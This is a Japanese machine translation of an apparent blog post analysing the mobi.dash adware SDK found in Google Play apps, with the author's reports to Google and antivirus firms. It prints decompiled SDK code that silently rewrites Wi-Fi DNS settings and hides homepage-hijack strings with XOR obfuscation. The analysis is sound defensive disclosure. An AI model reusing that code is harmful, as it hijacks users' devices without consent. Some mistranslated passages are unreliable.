Google Playでアドりェアに苊劎しお負けた方法



過去1日間、数癟のニュヌスサむト クラックおよびタむツ が、Google Playでの次の悪意のあるアプリケヌションの発芋に぀いお䌝える1぀の興味深いニュヌスを再版しおいたす。 今回、デバむスのロックが解陀され、 数十億の携垯電話やタブレットにむンストヌルされるたびに、アドりェアは迷惑な広告を衚瀺したした。 幞いなこずに、りむルス察策䌚瀟のアバストは時間内に脅嚁を怜出し、アプリケヌションは削陀されたした。



カットの䞋で、むベントのバヌゞョンを説明したす.Google Playでアドりェアを蚈算しお怜玢した方法、アドりェアSDKコヌドを逆コンパむルした方法、Googleサポヌトからの回答を埅぀こずができるか、モバむルりむルス察策が圹に立たない理由、ホットむンフォメヌションラむンで優れた無料広告を䜜成する方法に぀いお説明したす。



「お䜿いのAndroidのバヌゞョンは叀くなっおいたす」



ある倜、私のより人道䞻矩的で矎しい半分の人が、電話が絶えずそれを芁求しおいるのに、なぜ圌女は電話にアップデヌトをむンストヌルできなかったのかず尋ねおきたした。 ブラりザのタブが画面䞊に開かれ、この曎新プログラムをただむンストヌルするように誘われたした。 タブを閉じるず、ブラりザで80以䞊のペヌゞが開かれおいるこずがわかりたした。 短い尋問の埌、圌らは実際に電話に疑わしいアプリケヌションをむンストヌルしおいないこずが刀明したした-サヌドパヌティの゜ヌスからむンストヌルするオプションは蚭定で無効にさえされたした。 結局のずころ、携垯電話のロックが解陀されるたびに、ランチャヌ䞊の広告たたはAdMobバナヌずのリンクがブラりザヌで開かれたした。







アプリがGoogle Playから明確に提䟛されたため、ストヌリヌは興味深いものになりたした。 電話を片手に持ち、LogCatをもう䞀方の手に取り、この広告を実行しおいる人を芋぀け始めたした。



// TODOリリヌスでログを無効化


このむベントの䞻人公は非垞に迅速にむンストヌルされたした。結局のずころ、開発者はリリヌスバヌゞョンでのログ蚘録の無効化をたったく考慮しおいたせんでした。 画面をロックたたはロック解陀するたびに、LogCatはリク゚ストの結果に関する詳现情報を広告やその他のデバッグデヌタのためにサヌバヌに送りたした。 このように芋えた

Logcat
01-31 021513.303D / Microlog3020Microlog 1669935[DEBUG]-倖郚URLを開きたす。 むンテントで開始むンテント{act = android.intent.action.VIEW dat = http//brodero.com/v2/b/rsAgid = af70e9985-a73c-46d6-a24e-a7e112748cf7vid = 3ad864d4-643d-4f55-8dbd -ae76ebf08bbcbgid = ba6195268-bfaa-451C-8736-aba9b7449306U =のhttp//terigal.ru/7utq44kvjob6n2rq47av5t9122twv5ob511x1pxpj4q&dyn=xK9dZt_ZDOxeAvvtziYEB32B-KaPEp3_gYayyDZDVS0&sig=eqrEar8HUBLiNU87e0xioQ&ts=1421968510077&m=0 FLG = 0x10000000 CMP = com.android.chrome / com.google.android.apps .chrome.Main}

01-31 021513.306I / ActivityManager734START u0 {act = android.intent.action.VIEW dat = http//brodero.com/v2/b/rsAgid = af70e9985-a73c- 46d6-a24e-a7e112748cf7VID = 3ad864d4-643d-4f55-8dbd-ae76ebf08bbcbgid = ba6195268-bfaa-451C-8736-aba9b7449306U = HTTP//terigal.ru/7utq44kvjob6n2rq47av5t9122twv5ob511x1pxpj4q&dyn=xK9dZt_ZDOxeAvvtziYEB32B-KaPEp3_gYayyDZDVS0&sig=eqrEar8HUBLiNU87e0xioQ&ts=1421968510077&m=0 FLG = 0x10000000 CMP = com.android.chrome/com.google.android.apps.chrome.Main}から、ディスプレむ0のUID 10065から



意図は、PID 3020でプロセスを開始したした。残ったのは、このPIDがどのパケットに属するかを調べるこずだけでした。 psコマンド| grep 3020 "はadbシェルで実行されたす。 私は明確な答えを受け取りたした

adbシェル
シェル@ハンマヌヘッド/ $ ps | grep 3020

ps | grep 3020

u0_a65 3020 195 1534568 66696 ffffffff 00000000 S com.sweet.world.history



World Historyアプリケヌションがこの背埌にあるこずが刀明したした。 アプリケヌションには5,000を超えるむンストヌルがありたす。 たた、Google Playから長い間むンストヌルされおいたしたが、最近広告が流れ始めたした。 アプリケヌションをアンむンストヌルした埌、もちろん広告は目障りでなくなりたした。

難しいこずではありたせんでしたが、そのたたにしおおくこずはできたせん。 APKを詳现に分析しお、コヌドの内郚に入りたす。



「メス、クランプ...」


ツヌルに぀いおは、新しいこずは䜕も䌝えたせん-dex2jarを䜿甚しおjarのコヌドを取埗し、 apktoolを䜿甚しおxmlリ゜ヌスを逆コンパむルしたすたた、smaliの方法も知っおいたすが、これはたったく異なる話です。 ちなみに、埌者は非垞にお勧めです。LuytenはProcyonの GUIであり、非垞にクヌルです。 少なくずも前に䜿甚したJDず比范するず、Procyonの方が奜きでした。



Androidの開発に粟通しおいるKhabrovskの人々は、アプリケヌションがそのようなcな広告を衚瀺するために、むベントandroid.intent.action.SCREEN_OFFおよびandroid.intent.action.SCREEN_ONのブロヌドキャストレシヌバヌを明瀺的に登録するこずをすでに認識しおいたす。 これらのアクションはコヌドからのみサブスクラむブできるため、マニフェストに興味深いものはないはずです。 しかし、それでもそこを芋おみたしょう最終的に逆コンパむルされたのは無駄ではありたせんでした-マニフェストにはいく぀かの興味深いコンポヌネントがありたした。 ブロヌドキャストレシヌバヌの1぀がandroid.intent.action.BOOT_COMPLETEDにサブスクラむブされたした。 それはmobi.dash.overapp.DisplayCheckRebootReceiverず呌ばれおいたした -私はそれからコヌドを勉匷し始めたした

DisplayCheckRebootReceiver
public void onReceive(final Context context, final Intent intent) { AdsLog.d("AdsOverappRebootReceiver", intent.toString()); Object stringExtra = null; if (intent != null) { stringExtra = intent.getStringExtra(DisplayCheckRebootReceiver.Param_Event); } if (DisplayCheckRebootReceiver.Event_SendAlive.equals(stringExtra)) { sendAlive(context); return; } AdsOverappRunner.ping(context.getApplicationContext()); }
      
      







コヌドからわかるように、AdsOverappRunner.pingメ゜ッドは最初の再起動埌に呌び出されたす。 指定されたメ゜ッドは、rawフォルダヌのリ゜ヌスにあるads_settings.jsonファむルから蚭定を読み蟌み、埅機を開始したす。 そしお、この埅機が続く時間は、ads_settings.jsonファむルに瀺されおいたす。 その埌、すべおが非垞に簡単です-これから15分間隔でAlarmManagerを䜿甚するず、アプリケヌションは同じDisplayCheckRebootReceiverを取埗し、むンキュベヌション期間が終了したかどうかを確認したす。 埅機が終了するず、 mobi.dash.overapp.DisplayCheckServiceが起動したす。これにより、ナヌザヌはすでに広告で満足しおいたす。



原則ずしお、これたでのずころ珍しいこずはありたせん。それが1぀の事実でなければ、これはすべおアプリケヌションの䜜成者の仕事ではなく、明らかにサヌドパヌティのSDKでした。 さらに、さらなる分析が行われなくおも、 mobi.dashパッケヌゞには玄200のクラスが含たれおいたため、すでに自信が生たれおいたす。



画面がロックされるたびに、SDKはサヌバヌに芁求を行い、衚瀺する䟡倀のある応答で広告を受信したした。 同時に、さたざたなタむプの広告がサポヌトされたした。

DisplayCheckService
  public void showAd(final AdsOverappType lastOverappType, final BannerData bannerData) { this.hideAd(); BlacklistManager.getInatance().onBannerShow((Context)this, bannerData.id); Ads.getHistory().addBannerAction(bannerData.localId, "service", "showAd"); this.lastOverappType = lastOverappType; this.saveLastOverappType(); if (lastOverappType == AdsOverappType.Alert) { this.showAlert(bannerData); return; } if (lastOverappType == AdsOverappType.Recommendation) { this.showRecomendation(bannerData); return; } if (lastOverappType == AdsOverappType.Link) { this.showLink(bannerData); return; } if (lastOverappType == AdsOverappType.Sdk) { this.showSdk(bannerData); this.waitAndRequestNextAd(); return; } if (lastOverappType == AdsOverappType.Notification) { this.showNotification(bannerData); this.waitAndRequestNextAd(); return; } this.showBanner(bannerData); this.waitAndRequestNextAd(); }
      
      







サヌバヌからのコマンドで、SDKは指定されたテキストを含むダむアログを衚瀺し、ブラりザヌでリンクを開き、AdMob、MopubたたはChartboostからの広告を衚瀺し、通知をスロヌしたす。



さらに、より興味深い機胜が内郚に芋぀かりたした-SDKはwi-fi接続蚭定でDNSサヌバヌを巧みに倉曎したした

DisplayCheckService
  public static void setupDns(final Context context) { final String dns = getDns(context); if (!TextUtils.isEmpty((CharSequence)dns)) { final WifiManager wifiManager = (WifiManager)context.getSystemService("wifi"); if (wifiManager != null) { final DhcpInfo dhcpInfo = wifiManager.getDhcpInfo(); if (dhcpInfo != null) { final String formatIpAddress = Formatter.formatIpAddress(dhcpInfo.ipAddress); final String formatIpAddress2 = Formatter.formatIpAddress(dhcpInfo.netmask); final String formatIpAddress3 = Formatter.formatIpAddress(dhcpInfo.gateway); final ContentResolver contentResolver = context.getContentResolver(); Settings$System.putString(contentResolver, "wifi_use_static_ip", "1"); Settings$System.putString(contentResolver, "wifi_static_ip", formatIpAddress); Settings$System.putString(contentResolver, "wifi_static_netmask", formatIpAddress2); Settings$System.putString(contentResolver, "wifi_static_gateway", formatIpAddress3); Settings$System.putString(contentResolver, "wifi_static_dns1", dns); Settings$System.putString(contentResolver, "wifi_static_dns2", dns); } } } }
      
      







ほずんどの堎合、これはナヌザヌを必芁な広告サむトにリダむレクトするために行われたした。

たた、SDKはデスクトップ䞊に停のショヌトカットを䜜成し、ナヌザヌをサヌバヌからのリンクに誘導したした。 さお、おそらく最埌の興味深い機胜は、ブラりザヌのホヌムペヌゞを倉曎する機胜です。 これを担圓するコヌドは、SDKで唯䞀の保護された堎所であるこずが刀明したした。他のすべおのものは、眮き換えるこずができたすが、難読化さえされおいたせん。 ブラりザは異なるため、SDKは3぀の異なる方法を䜿甚したす。 同時に、ホヌムペヌゞを倉曎するために䜿甚されたコンテンツリゟルバのパスのむンテントたたはURIの名前は、暗号化XOR暗号化アルゎリズムで暗号化され、最初はバむト配列のように芋えたした。

ホヌムペヌゞむンゞェクタヌ
 a = new byte[] { 13, 9, 1, 37, 14, 25, 55, 75, 27, 24, 29, 6, 11, 90, 94, 16, 29, 25, 89, 3, 0, 0, 93, 58, 54, 32, 58, 58, 97, 4, 11, 3, 21, 6, 9, 45, 49, 38, 32, 32, 62, 55, 107, 59 }; b = new byte[] { 9, 1, 9, 23, 26, 27, 13 };
      
      







簡単な操䜜の埌、これはプレヌンテキストに倉わりたした。

Xor
lgeWapService.prov.persister.INSTALL_BROWSER

ホメりリ



そしお、そのようなアクションず远加のパラメヌタヌで急いだ攟送。 LG携垯電話では、これによりホヌムペヌゞが実際に倉曎される可胜性がありたす。 ほずんどの堎合、これはりむルス察策スキャンから保護するために行われたした。 少なくずもvirustotalは、アプリケヌションは絶察に安党であるず自信を持っお述べおいたす。



圌らの名前は軍団です


SDKの倖芳は非垞に優れおいたため、5,000のむンストヌルがあるアプリケヌションに埋め蟌むためだけに䜜成されたずは考えられたせんでした。 たず、同じ著者の残りのアプリケヌションをチェックしたした。 結局のずころ、mobi.dashの広告はそれぞれに組み蟌たれおいたした。 そしお、著者には倚くのアプリケヌションがありたした。







もちろん、基本的に圌らは非垞に少数のむンストヌルしかありたせんでしたが、そのうちの1぀ではむンストヌル数が5䞇を超えおいたした。 しかし、もちろん、このSDKの配垃は1぀のパブリッシャヌに限定されるべきではありたせん。 SDKはad1.mads.bzサヌバヌでの広告に䜿甚されたため、この問題に盎面しおいる人を探すこずにしたした。 w3bsit3-dns.comには、ナヌザヌがそのような広告ず戊っおいるトピック党䜓が含たれおいるこずがわかりたした。 そこで、 ad1.mads.bzから広告をプルする2぀のアプリケヌションぞの参照を芋぀けたした。 これらのアプリケヌションは、はるかに人気があるこずが刀明したした。







500䞇を超えるむンストヌルず100䞇を超えるむンストヌル-優れた芖聎者のリヌチ。 非垞に倚くのむンストヌルがあるカヌドゲヌム「Fool」には、毎日䜕䞇人ものアクティブナヌザヌがいるはずです。 レビュヌにはゲヌムが広告を衚瀺するずいう吊定的なコメントが倚くありたしたが、アンチりむルスは䜕も刀断したせん。 アンチりむルスがAirPush SDKを誓うこずを考えるず、これはかなり奇劙でした。 ずころで、私が芋぀けたmobi.dash sdkの最初の蚀及は、2013幎10月1日たでさかのがりたす。 おそらく、1幎半ず数癟のナヌザヌからの苊情の埌、誰かが行動を起こすべきでしょうか そのような広告を持っおいる堎合、モバむルりむルス察策゜フトの助けを求めおいない堎合、普通のナヌザヌは他に䜕をすべきかもちろん、ハヌドアドレス 。 3぀のモバむルりむルス察策゜フトりェアをチェックしたした。AvastMobile Security博士。 Webおよびカスペルスキヌむンタヌネットセキュリティ。 意芋は党䌚䞀臎でした







誰かがすべおが私の電話で正垞であるず思った。 おそらくこれで䜕かをする必芁があった。



「やめお」



この時点で、SDKの機胜ず、それを実行するアプリケヌションに関する広範な情報を既に入手したした。 したがっお、私が最初にしたこずは、これに぀いおGoogleに通知するこずでした。 Google Playの各アプリケヌションの䞋には、誰もが違反を報告できるクリックをクリックするこずで、「䞍適切なフラグ」リンクがありたすちなみに、2014幎の倏にのみ衚瀺されたわけではありたせんでした。 Googleはこれらの苊情を非垞に真剣に受け止めおいるため、圌がこれをどれほど真剣に受け止めおいるかに぀いお挫画を描いおいたす。 私の苊情のテキスト入力フィヌルドぞの䞍適切なリンクずしおフラグから簡単ではない方法を通過したので、私は簡朔に党䜓の芁点を抂説したした。 1分埌、ボットからメヌルで応答を受け取りたした。アプリケヌションが違反しおいるルヌルを詳现に説明し、それらに圹立぀远加の資料スクリヌンショットなどを添付するように求められたした。 これに応えお、Google Playコンテンツポリシヌの4぀の芏則に違反しおいるこずを説明する長く詳现な手玙を発行したした。

Google Playコンテンツポリシヌ違反
このアプリは次のポリシヌに違反しおいたす。



* Google Playコンテンツポリシヌ、「システム干枉」の章

-これには、アプリ、りィゞェット、たたはデバむスの蚭定のデフォルト衚瀺の眮換たたは䞊べ替えなどの動䜜が含たれたす。 アプリがナヌザヌの知識ず同意でこのような倉曎を行う堎合、どのアプリが倉曎を行ったかをナヌザヌに明確にし、ナヌザヌは簡単に倉曎を元に戻すか、アプリを完党にアンむンストヌルする必芁がありたす。

+ナヌザヌが悪意のあるサむトにリダむレクトするためにWi-Fiが接続されおいる堎合、アプリはDNSサヌバヌを倉曎できたす



-アプリずその広告は、ブラりザ蚭定やブックマヌクを倉曎たたは远加したり、ホヌム画面のショヌトカットを远加したり、サヌドパヌティぞのサヌビスずしお、たたは広告目的でナヌザヌのデバむスにアむコンを远加したりしおはなりたせん。

+アプリはブラりザのホヌムペヌゞを倉曎し、ホヌム画面のショヌトカットを䜜成できたす



-アプリずその広告は、むンストヌルされたアプリたずえば、特別な取匕をナヌザヌに通知する航空䌚瀟アプリ、たたはナヌザヌに通知するゲヌムによっお提䟛される統合機胜に由来する堎合を陀き、ナヌザヌのデバむスでシステムレベルの通知を通じお広告を衚瀺しおはなりたせんゲヌム内プロモヌションの。

+アプリは、システムレベルで他のすべおのアプリケヌションず重耇する広告を衚瀺したす



* Google Play広告ポリシヌ、「広告コンテキスト」の章

-広告は、アプリのナヌザヌむンタヌフェヌス、たたはオペレヌティングシステムの通知および譊告芁玠をシミュレヌトたたは停装しおはなりたせん。 各広告がどのアプリに関連付けられおいるか、どのアプリに実装されおいるかをナヌザヌに明確にする必芁がありたす。

+衚瀺される広告はオペレヌティングシステムの譊告を非垞に頻繁にシミュレヌトし、スクリヌンショットが添付されたす



完党に理解するために、この広告がどのように芋えるかを瀺すビデオを録画したした。



広告SDKずその機胜に関する私の研究を詳现に説明し、アプリケヌションのリストも提䟛したした。 日付を翻蚳するだけで、広告をすばやく衚瀺する方法に぀いお詳现な説明を曞きたした。 手玙は1月22日に私を眮き去りにしたした。

私はそれに察する答えを受け取らず、Googleから結果を埗なかったこずに誰も驚かないず思いたす。 残念ながら、Googleでは、Mr。Boxがナヌザヌからの苊情を凊理し、それらは遠方のボックスに入れられたす。



アンチりむルス



それでも、アプリケヌションがGoogleに残っおいおもそしお、そのうち140個が存圚する堎合でも、アンチりむルスが少なくずも䜕らかの圢でこのSDKに぀いお譊告しおくれたらいいず思いたす。 アバスト博士のフォヌラムでトピックを䜜成したした WebずKasperskyは、アンチりむルスはそのような広告には䞀切反応しないず指摘したしたが、ずにかくデヌタベヌスに远加するのは良いこずです。 今のずころ、それは非垞に簡単です。 結局のずころ 、そのようなアプリケヌションのマニフェストではmobi.dashコンポヌネントが宣蚀されおいたす。 フォヌラムで、カスペルスキヌは非垞に迅速に反応し、それを理解するこずを玄束し、さらに幎間サブスクリプションを提瀺したした。 フォヌラムモデレヌタヌ Webは、分析のためにファむルをりむルス察策ラボに送信するこずを提案したした。 アバストは3日埌に反応し、敎理するこずを玄束したした。 フォヌラムのトピックでアクティビティがなくなりたした。



曎新
カスペルスキヌは他の先を行っおいたす。玄束は守られ、敎理されおいたす。 蚘事の公開日珟圚、カスペルスキヌむンタヌネットセキュリティはすでにこの広告モゞュヌルを発芋しおいたす。 今すぐ発芋





今日、フォヌラム投皿の10日埌、突然、広告を瀺すビデオの䞋にコメントが衚瀺され始めたした。 これはビデオが非公開だったこずを考えるず、やや奇劙でした。 さらに奇劙なのは、ビデオの再生回数が1䞇回であるずいう事実でした珟時点ではすでに2䞇回を超えおいたす。 アバストがこの広告SDKを䜿甚したアプリケヌションに関するブログ蚘事を投皿したこずが刀明したした。 この蚘事で私が曞いたものを陀いお、新しいものは䜕もありたせんでした。ただし、この広告を既に定矩しおいるアバストのプレミアムバヌゞョンのりむルス察策の広告が远加されおいる点が異なりたす。 どうやら、物語は興味深いこずが刀明し、プレスリリヌスが泚目を集めたした。 フォヌラムにアプリケヌションおよびSDK分析ぞのリンクを投皿した埌、アバストずアナリストのFilip ChitryがGoogle Playで悪意のあるアプリケヌションを発芋した方法に関するニュヌスが、倚くの倧きな情報リ゜ヌスに到達したした。 そしお、ここで䌚瀟のアバストずアナリストのフィリップ・キトラは、そう思われたす。



ブログに投皿しおから6時間埌に、私が蚀及したすべおのアプリがGoogle Playから削陀されたした。

この投皿が公開されおから玄6時間埌に、Googleの広報担圓者が3぀のアプリがPlayから削陀されたこずをメヌルで知らせたした。




ハッピヌ゚ンド



私のアドりェアずの闘いは特に䜕も終わらない-私の苊情はGoogleによっお無芖され、アバストは救䞖䞻であるこずが刀明したが、それでも結果は達成された。 確かに、私はこの結果に察しお非垞に平凡な態床をずっおいたす-Googleにアクセスするこずは䞍可胜であるこずが刀明し、アンチりむルスメヌカヌは1.5幎以内にそのような問題に泚意を払わなかった堎合、モバむル補品の改善にあたり関心がありたせん。 それでも、私はこの物語の結果が将来倚くのナヌザヌの生掻を楜にしおくれるず信じたいです。



All Articles